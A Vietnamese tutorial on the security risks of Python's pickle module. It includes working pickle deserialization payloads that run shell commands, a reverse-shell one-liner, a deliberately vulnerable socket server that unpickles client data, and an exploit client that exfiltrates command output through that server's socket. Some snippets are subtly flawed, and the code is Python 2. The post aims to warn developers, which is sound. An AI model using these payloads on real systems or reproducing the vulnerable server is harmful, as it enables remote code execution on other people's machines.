Pickle trong python và những điều cần lưu ý khi sử dụng để tránh dính lỗi bảo mật

Mở đầu:

Trước tiên mình sẽ nói về 2 khái niệm Serialization/Deserialization:

  • Chắc hẳn trong thực tế bạn sẽ gặp những task mà cần phải lưu trữ hoặc truyền tải các đối tượng (Object), dữ liệu (Data). Bài toán đặt ra ở đây là làm thế nào để thực hiện điều đó mà vẫn giữ nguyên được trạng thái của nó. Serialization/Deserialization được đưa ra để giải quyết vấn đề này. Serialization là việc ghi các trạng thái của 1 đối tượng thành dạng dữ liệu có thể truyền tải hoặc lưu trữ được. Còn Deserialization là việc tái thiết lại các đối tượng từ các dữ liệu này.

  • Trong python có 1 thư viện tên là pickle được sinh ra để giúp chúng ta làm việc này. Tuy nhiên bạn cần rất lưu ý khi sử dụng nó. Ngay trên document của thư viện này cũng có cảnh báo:

    Thư viện này hoàn toàn không an toàn vì nó sẽ import Tất cả các moudle được load lên và có thể run trực tiếp code chạy trong chương trình, thay đổi luồng chạy của chương trình thông qua một vài thủ thuật đặc biệt mình sẽ nói ở mục sau. Vậy nên bạn không nên sử dụng pickle với các dữ liệu nhận được có nguồn gốc không rõ ràng, không tin tưởng được -> nó có thể gây ra hậu quả nghiêm trọng tới ứng dụng của bạn.

Ví dụ

  • Để các bạn hiểu rõ hơn về thư viện pickle này thì mình có một ví dụ nhỏ sau:
    import pickle
    
    
    class Person:
      def __init__(self, name, age):
          self.name = name
          self.age = age
    
      def info(self):
          print "Name: " + self.name
          print "Age: " + str(self.age)
    
    
    p1 = Person("lkintheend", 21)
    
    with open("pickle.txt", "wb") as f:
      pickle.dump(p1, f)
    
  • Ở đây mình đã sử dụng pickle để Serializa một đối tượng p1 từ class Person sau đó lưu vào 1 file .txt. Bây giờ nếu muốn sử dụng lại đối tượng p1 này mình chỉ cần sử dụng đoạn code đơn giản như sau:
    with open("pickle.txt", "rb") as f:
        p = pickle.load(f)
    p.info()
    

Vấn đề bảo mật với Pickle

  • Như mình đã nói ở phần trên thì có 1 vấn đề về bảo mật với thư viện Pickle.

Khai thác đơn giản

  • Mình có một ví dụ sau:
    import pickle
    import base64
    
    code = "__import__('os').popen('ls -la /var/').read()"
    
    
    class RunBinSh(object):
       def __reduce__(self):
           return (eval(code, ))
    
    
    payload = base64.b64encode(pickle.dumps(RunBinSh()))
    print pickle.load(base64.b64decode(payload))
    
  • Kết quả sau khi mình run đoạn chương trình trên là lệnh ls -la /var/ đã được thực hiện:
  • Hacker hoàn toàn có thể thay thế lệnh trên bằng 1 lệnh độc hại nào đó ví dụ như reveser shell:
    payload = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",33056));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["ls","-i"]);\''
    

Khai thác nâng cao

  • Ngoài ra còn một số cách khai thác nâng cao nữa. Ví dụ như đoạn chương trình demo sau đây:

    import os
    import pickle
    import socket
    import signal
    
    signal.signal(signal.SIGCHLD, signal.SIG_IGN)
    
    
    def server_pickle(skt):
        pickle_data = skt.recv(1024)
        pickle.loads(pickle_data)
    
    
    sl = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
    sl.bind(('0.0.0.0', 10022))
    sl.listen(10)
    
    while True:
        nt, addr = sl.accept()
        if (os.fork() == 0):
            server_pickle(nt)
            exit(1)
    

    Đây là 1 chương trình được chạy ở server. Phân tích qua thì ta có thể thấy rằng chương trình chạy socket và nó có lệnh load pickle rồi nhưng nó không trả về kết quả gì cho client cả. Giả sử rằng server này có cài firewall chặn hết các kết nối ra bên ngoài từ các cổng không được phép. Bây giờ nếu muốn run lệnh cmd ta vẫn có thể run được nhưng chúng ta lại không thể đọc được kết quả trả về. May mắn là trong python có 1 thư viện tên là inspect nó thế giúp ta sử dụng được biến nt ở bên ngoài class. Chúng ta có thể lợi dụng điều này để thay đổi luồng chạy của chương trình. Khiến nó tự gửi kết quả sau khi run lệnh về cho phía client của chúng ta. Chi tiết payload ở chương trình sau:

    import socket
    import sys
    import pickle
    
    host = '127.0.0.1'
    port = 10022
    
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    
    code = "__import__('inspect').currentframe().f_back.f_back.f_back.f_back.f_globals['nt'].send(__import__('os').popen('uname -a').read())"
    
    
    class Exploit(object):
        def __reduce__(self):
            return (
                eval, (code,))
    
    
    payload = pickle.dumps(Exploit())
    s.sendall(payload)
    reply = s.recv(4096)
    print reply
    reply = s.recv(4096)
    print reply
    

    Lúc này ta đã có thể thay đổi luồng chạy của chương trình phía server và nhận được kết quả từ server trả về:

Kết luận:

Việc sử dụng các thư viện của bất kì ngôn ngữ nào đều cần được chú ý với các vấn đề bảo mật. Chúng ta luôn cần phải xem xét các khuyến cáo bảo mật của nhà phát hành. Việc sử dụng mà không hiểu rõ có thể dẫn đến các nguy cơ bảo mật với sản phẩm. Cám ơn các bạn đã đọc bài viết của mình. Mọi người ai có góp ý hay thắc mắc gì vui lòng để lại comment ạ 😄 😄 Follow mình để tiện trao đổi và tìm hiểu thêm về các vấn đề bảo mật khác nhé 😄 😄